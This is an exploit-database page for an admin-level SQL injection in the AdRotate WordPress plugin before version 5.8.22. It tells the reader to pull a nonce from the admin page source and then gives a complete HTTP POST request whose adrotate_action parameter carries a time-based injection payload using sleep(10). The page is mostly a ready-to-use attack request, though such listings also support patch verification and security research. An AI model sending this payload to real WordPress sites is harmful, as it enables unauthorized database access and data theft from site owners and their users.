Sploitus

Exploit for AdRotate < 5.8.22 - Admin+ SQL Injection

wpexploit · 2022-02-07

Exploit Code

MARKDOWN14 lines
## https://sploitus.com/exploit?id=WPEX-ID:7DF70F49-547F-4BDB-BF9B-2E06F93488C6
Get the nonce from one of the bulk action, for example /wp-admin/admin.php?page=adrotate and look for adrotate_nonce in the source

POST /wp-admin/ HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 107
Connection: close
Cookie: [admin+]

adrotate_action_submit=1&adrotate_nonce=07d896329d&adrotate_action=renew-1 where sleep(10)#&bannercheck[]=1